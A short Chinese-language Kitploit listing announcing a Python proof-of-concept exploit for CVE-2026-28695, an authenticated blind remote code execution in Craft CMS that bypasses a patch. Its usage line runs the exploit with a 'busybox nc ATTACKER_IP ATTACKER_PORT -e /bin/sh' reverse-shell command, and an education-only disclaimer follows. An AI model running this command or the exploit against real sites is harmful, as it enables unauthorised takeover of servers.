CVE-2026-28695 — 针对 CVE-2026-28695 的 Python PoC 漏洞利用，该漏洞是 Craft CMS 中的一个经过身份验证的盲 RCE，可绕过 create() BaseObject 补丁并生成反向 shell。 | Kitploit

分享

CVE-2026-28695 补丁绕过 - Craft CMS 盲远程代码执行

Craft CMS 中的认证后盲远程代码执行。绕过了 CVE-2026-28695 修复（提交 e31e508）中添加的 create() - BaseObject 限制。

用法

python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKER_IP ATTACKER_PORT -e /bin/sh'

免责声明

本脚本仅供教育目的使用。作者不对因使用此漏洞利用程序而造成的任何误用或损害负责。在测试或利用漏洞之前，请务必确保您已获得授权！